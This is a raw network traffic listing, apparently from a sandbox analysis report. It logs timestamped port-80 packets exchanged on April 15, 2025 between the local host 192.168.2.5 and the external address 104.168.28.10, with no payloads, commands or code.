Apr 15, 2025 11:33:46.856945992 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.857220888 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.857253075 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.857273102 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.857306957 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.857306957 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.857359886 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.857491970 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.857598066 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.859105110 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.859131098 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.859148026 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.859194040 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.859510899 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.861270905 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.861325026 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.861342907 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.861376047 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.861440897 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.861591101 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.861800909 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.861884117 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.017539978 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.017574072 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.017620087 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.017632008 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.017648935 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.017666101 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.017680883 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.017698050 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.017714977 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.017723083 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.017740011 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.017755032 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.017759085 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.017771006 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.017786980 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.017796040 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.017811060 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.017827034 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.017829895 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.017847061 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.017863035 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.017882109 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.017884016 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.017899990 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.017920017 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.017941952 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.017957926 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.017972946 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.017987967 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018019915 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.018045902 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018043041 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.018062115 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018115044 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.018122911 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.018224001 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018239975 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018254042 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018269062 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018285036 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018292904 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.018302917 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018321991 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018357038 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.018357038 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.018383026 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018465996 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.018531084 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018548012 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018562078 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018577099 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018591881 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018605947 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018614054 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.018621922 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018631935 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018637896 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.018646955 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018665075 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018678904 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018682003 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.018695116 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018711090 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018742085 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.018742085 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.018755913 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018774033 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018790960 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018794060 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.018804073 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.018805981 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018821955 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018851995 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.018872023 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.018879890 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018896103 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018909931 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018925905 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018940926 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018954992 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.018979073 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.018979073 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.019007921 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.019012928 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.019072056 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.019088984 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.019104958 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.019120932 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.019135952 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.019143105 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.019176006 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.019182920 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.019202948 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.019246101 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.022063971 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.022083044 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.022303104 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.022382975 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.022417068 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.022433043 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.022449017 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.022466898 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.022483110 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.022484064 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.022501945 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.022510052 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.022519112 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.022536993 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.022548914 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.022552967 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.022567987 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.022569895 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.022587061 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.022603035 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.022617102 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.022619009 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.022630930 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.022639036 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.022649050 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.022661924 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.022665024 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.022682905 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.022713900 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.022735119 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.024538040 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.024558067 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.024575949 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.024652958 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.024669886 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.024671078 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.024684906 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.024701118 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.024720907 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.024750948 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.024854898 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.024873018 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.024888039 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.024904013 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.024919987 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.024935961 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.024940968 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.024944067 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.024954081 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.024955034 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.024971008 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.024988890 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.024993896 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025007010 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025023937 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025038004 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025041103 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025047064 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025058031 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025058985 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025074959 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025093079 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025101900 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025109053 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025125027 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025131941 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025145054 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025161982 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025163889 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025177002 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025187016 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025192976 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025201082 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025208950 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025232077 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025250912 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025264978 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025279045 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025279045 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025280952 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025295973 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025305033 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025316000 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025331974 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025332928 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025341988 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025352001 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025368929 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025383949 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025391102 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025398970 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025413990 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025432110 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025446892 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025449991 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025449991 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025456905 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025475025 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025489092 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025502920 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025504112 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025521040 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025538921 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025541067 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025548935 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025564909 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025563955 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025579929 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025594950 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025609970 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025610924 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025625944 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025641918 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025648117 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025649071 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025656939 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025671959 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025687933 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025686979 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025711060 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025718927 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025729895 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025736094 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025767088 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025810957 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025825977 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025841951 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025857925 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.025969982 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.025985956 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.026001930 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.026016951 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.026030064 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.026032925 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.026046038 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.026062012 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.026076078 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.026077032 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.026077032 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.026098013 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.026114941 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.026130915 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.026139975 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.026155949 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.026173115 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.026182890 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.026182890 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.026206970 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.026206970 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.026216984 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.026235104 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.026252985 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.026261091 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.026271105 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.026295900 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.026304007 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.026354074 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.026417017 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.026434898 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.026453018 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.026468992 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.026484966 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.026499987 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.026508093 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.026509047 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.026518106 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.060033083 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.060172081 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.075669050 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.077598095 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.077598095 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.077615023 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.180775881 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.180836916 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.180928946 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.180963993 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.180999994 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.181005955 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.181005955 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.181035995 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.181072950 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.181107998 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.181138039 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.181140900 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.181312084 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.181648016 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.181880951 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.181884050 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.185142040 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.185180902 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.185215950 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.185250044 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.185277939 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.185287952 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.185379982 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.186450958 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.187305927 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.187342882 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.187403917 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.187499046 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.187534094 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.187613010 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.188430071 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.188465118 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.188500881 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.188518047 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.188534975 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.188590050 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.252892017 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.253118992 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.253176928 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.253247023 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.344470024 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.344518900 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.344597101 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.344650984 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.344707966 CEST	80	49700	104.168.28.10	192.168.2.5
